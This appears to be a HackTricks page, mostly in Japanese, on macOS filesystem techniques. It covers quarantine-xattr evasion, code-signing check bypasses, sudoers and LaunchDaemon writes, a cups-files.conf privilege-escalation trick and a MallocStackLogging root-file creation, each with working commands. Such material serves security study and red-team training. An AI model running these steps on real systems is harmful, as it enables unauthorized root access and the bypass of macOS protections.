macOS FS Tricks

Reading time: 20 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

POSIX permissions combinations

ディレクトリの権限:

  • read - ディレクトリエントリを列挙できます
  • write - ディレクトリ内のファイル削除/作成でき、空のフォルダ削除できます。
  • ただし、書き込み権限がない限り、非空のフォルダを削除/変更することはできません。
  • フォルダの名前を変更することは、そのフォルダを所有していない限りできません。
  • execute - ディレクトリを横断することが許可されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。

Dangerous Combinations

rootが所有するファイル/フォルダを上書きする方法ですが:

  • パス内の親ディレクトリの所有者がユーザーである
  • パス内の親ディレクトリの所有者書き込みアクセスを持つユーザーグループである
  • ユーザーのグループファイル書き込みアクセスを持つ

これらの組み合わせのいずれかを使用すると、攻撃者は特権のある任意の書き込みを取得するために、期待されるパスにシンボリック/ハードリンク注入することができます。

Folder root R+X Special case

rootのみがR+Xアクセスを持つディレクトリ内にファイルがある場合、それらは他の誰にもアクセスできません。したがって、制限のためにユーザーが読み取れないファイルをこのフォルダから別のフォルダに移動できる脆弱性は、これらのファイルを読むために悪用される可能性があります。

例: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Permissive file/folder

特権プロセスが低特権ユーザーによって制御される可能性のあるファイルにデータを書き込んでいる場合、または低特権ユーザーによって以前に作成された可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して別のファイルを指すことができ、特権プロセスはそのファイルに書き込みます。

攻撃者が特権を昇格させるために任意の書き込みを悪用できる他のセクションを確認してください。

Open O_NOFOLLOW

関数openで使用されるフラグO_NOFOLLOWは、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しない正しい方法は、フラグO_NOFOLLOW_ANYを使用することです。

.fileloc

**.fileloc**拡張子のファイルは、他のアプリケーションやバイナリを指すことができるため、開くとアプリケーション/バイナリが実行されます。
例:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

ファイルディスクリプタ

FDの漏洩(O_CLOEXECなし)

openへの呼び出しにO_CLOEXECフラグがない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は特権ファイルに対するFDを継承します

高い特権でファイルまたはフォルダを開くプロセスを作成できる場合、**crontabを悪用して、EDITOR=exploit.py**で/etc/sudoers.d内のファイルを開くことができます。これにより、exploit.py/etc/sudoers内のファイルへのFDを取得し、それを悪用します。

例えば: https://youtu.be/f1HA5QhLQ7Y?t=21098、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging

検疫xattrsトリックを避ける

それを削除する

bash
xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable フラグ

ファイル/フォルダにこの不変属性がある場合、xattrを設定することはできません。

bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs マウント

devfs マウントは xattr をサポートしていません。詳細は CVE-2023-32364 を参照してください。

bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

このACLは、ファイルにxattrsを追加することを防ぎます。

bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDoubleファイル形式は、ファイルとそのACEを含むコピーを作成します。

ソースコードを見ると、xattrの中に保存されているACLのテキスト表現である**com.apple.acl.textが、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションをAppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:

詳細については元の報告を確認してください。

これを再現するには、まず正しいacl文字列を取得する必要があります:

bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note that even if this works the sandbox write the quarantine xattr before)

本当に必要ではありませんが、念のためここに残しておきます:

macOS xattr-acls extra stuff

署名チェックのバイパス

プラットフォームバイナリチェックのバイパス

一部のセキュリティチェックは、バイナリがプラットフォームバイナリであるかどうかを確認します。たとえば、XPCサービスに接続を許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(例:/bin/ls)を取得し、環境変数DYLD_INSERT_LIBRARIESを使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。

フラグCS_REQUIRE_LVCS_FORCED_LVのバイパス

実行中のバイナリが自分自身のフラグを変更してチェックをバイパスすることが可能です。コードは次のようになります:

c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];

uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS

status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);

バイパスコード署名

バンドルには、_CodeSignature/CodeResources というファイルが含まれており、これは バンドル 内のすべての ファイルハッシュ を含んでいます。CodeResources のハッシュは 実行可能ファイル にも 埋め込まれている ため、それをいじることはできません。

しかし、署名がチェックされないファイルもいくつかあり、これらは plist に omit キーを持っています。

xml
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

リソースの署名をCLIから計算することが可能です:

bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Mount dmgs

ユーザーは、既存のフォルダーの上に作成されたカスタムdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です:

bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg

通常、macOSはcom.apple.DiskArbitrarion.diskarbitrariond Machサービス(/usr/libexec/diskarbitrationdによって提供される)と通信してディスクをマウントします。LaunchDaemons plistファイルに-dパラメータを追加して再起動すると、/var/log/diskarbitrationd.logにログを保存します。
ただし、hdikhdiutilのようなツールを使用して、com.apple.driver.DiskImages kextと直接通信することも可能です。

任意の書き込み

定期的なシェルスクリプト

あなたのスクリプトがシェルスクリプトとして解釈される場合、毎日トリガーされる**/etc/periodic/daily/999.local**シェルスクリプトを上書きすることができます。

このスクリプトの実行を偽装するには、**sudo periodic daily**を使用できます。

デーモン

任意のLaunchDaemonを作成します。例えば、**/Library/LaunchDaemons/xyz.hacktricks.privesc.plist**のように、任意のスクリプトを実行するplistを作成します。

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Just generate the script /Applications/Scripts/privesc.sh with the commands you would like to run as root.

Sudoers File

If you have arbitrary write, you could create a file inside the folder /etc/sudoers.d/ granting yourself sudo privileges.

PATH files

The file /etc/paths is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from privileged process is executing some command without the full path, you might be able to hijack it modifying this file.

You can also write files in /etc/paths.d to load new folders into the PATH env variable.

cups-files.conf

この技術はこの書き込みで使用されました。

Create the file /etc/cups/cups-files.conf with the following content:

ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>

この操作により、パーミッションが777のファイル/etc/sudoers.d/lpeが作成されます。最後の余分なゴミはエラーログの作成をトリガーするためのものです。

次に、/etc/sudoers.d/lpeに特権を昇格させるために必要な設定を記述します。例えば、%staff ALL=(ALL) NOPASSWD:ALLのようにします。

その後、再度/etc/cups/cups-files.confファイルを修正し、LogFilePerm 700を指定して、新しいsudoersファイルがcupsctlを呼び出すことで有効になるようにします。

サンドボックスエスケープ

FSの任意の書き込みを使用してmacOSサンドボックスをエスケープすることが可能です。いくつかの例については、ページmacOS Auto Startを確認してください。ただし、一般的な方法は、~/Library/Preferences/com.apple.Terminal.plistにターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにしてopenを使用して呼び出すことです。

他のユーザーとして書き込み可能なファイルを生成する

これは、私が書き込み可能なrootに属するファイルを生成します(ここからのコード)。これは特権昇格としても機能する可能性があります。

bash
DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

POSIX共有メモリ

POSIX共有メモリは、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、shm_open()を使用して共有メモリオブジェクトを作成または開き、ftruncate()でそのサイズを設定し、mmap()を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスはmunmap()close()で共有メモリをアンマップおよび閉じ、オプションでshm_unlink()でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。

プロデューサーコード例
c
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Create the shared memory object
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Configure the size of the shared memory object
if (ftruncate(shm_fd, SIZE) == -1) {
perror("ftruncate");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Write to the shared memory
sprintf(ptr, "Hello from Producer!");

// Unmap and close, but do not unlink
munmap(ptr, SIZE);
close(shm_fd);

return 0;
}
消費者コードの例
c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);

// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink

return 0;
}

macOS ガード付きディスクリプタ

macOS ガード付きディスクリプタは、ユーザーアプリケーションにおけるファイルディスクリプタ操作の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。

この機能は、不正なファイルアクセスレースコンディションなどの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスしているときに別の脆弱なスレッドがそれにアクセスできる場合や、ファイルディスクリプタが脆弱な子プロセスに継承される場合に発生します。この機能に関連するいくつかの関数は次のとおりです:

  • guarded_open_np: ガード付きでFDをオープン
  • guarded_close_np: 閉じる
  • change_fdguard_np: ディスクリプタのガードフラグを変更(ガード保護を削除することも可能)

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする